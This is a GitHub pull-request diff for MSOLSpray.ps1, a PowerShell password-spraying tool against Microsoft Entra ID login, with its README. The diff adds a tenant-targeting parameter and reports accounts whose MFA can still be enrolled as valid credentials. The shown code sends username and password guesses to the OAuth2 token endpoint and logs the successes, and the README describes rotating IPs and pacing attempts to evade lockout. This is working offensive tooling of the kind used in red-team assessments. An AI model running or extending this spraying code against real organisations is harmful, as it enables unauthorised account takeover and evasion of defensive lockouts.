Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 20 additions & 4 deletions MSOLSpray.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,10 @@ function Invoke-MSOLSpray{

The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

.PARAMETER TenantId

The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).

.PARAMETER Delay

Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
Expand Down Expand Up @@ -84,14 +88,18 @@ function Invoke-MSOLSpray{
$URL = "https://login.microsoft.com",

[Parameter(Position = 4, Mandatory = $False)]
[string]
$TenantId = "common",

[Parameter(Position = 5, Mandatory = $False)]
[switch]
$Force,

[Parameter(Position = 5, Mandatory = $False)]
[Parameter(Position = 6, Mandatory = $False)]
[int]
$Delay = 0,

[Parameter(Position = 6, Mandatory = $False)]
[Parameter(Position = 7, Mandatory = $False)]
[switch]
$VerboseErrors
)
Expand Down Expand Up @@ -146,7 +154,7 @@ function Invoke-MSOLSpray{
# Setting up the web request
$BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
$PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}
$webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr
$webrequest = Invoke-WebRequest $URL/$TenantId/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr

# If we get a 200 response code it's a valid cred
If ($webrequest.StatusCode -eq "200"){
Expand Down Expand Up @@ -178,11 +186,18 @@ function Invoke-MSOLSpray{
}

# Microsoft MFA response
ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076"))
ElseIf($RespErr -match "AADSTS50076")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
$fullresults += "$username : $password"
}

# User can complete MFA registration
ElseIf($RespErr -match "AADSTS50079")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded (password is valid)."
$fullresults += "$username : $password"
}

# Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
ElseIf($RespErr -match "AADSTS50158")
Expand Down Expand Up @@ -313,4 +328,5 @@ function Invoke-MSOLSpray{
Write-Output "Results have been written to $OutFile."
}
}
Write-Host ""
}
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ Password - A single password that will be used to perform the password spray.
OutFile - A file to output valid results to.
Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
TenantId - The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).
Delay - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
VerboseErrors - Displays additional error information for troubleshooting authentication issues.
```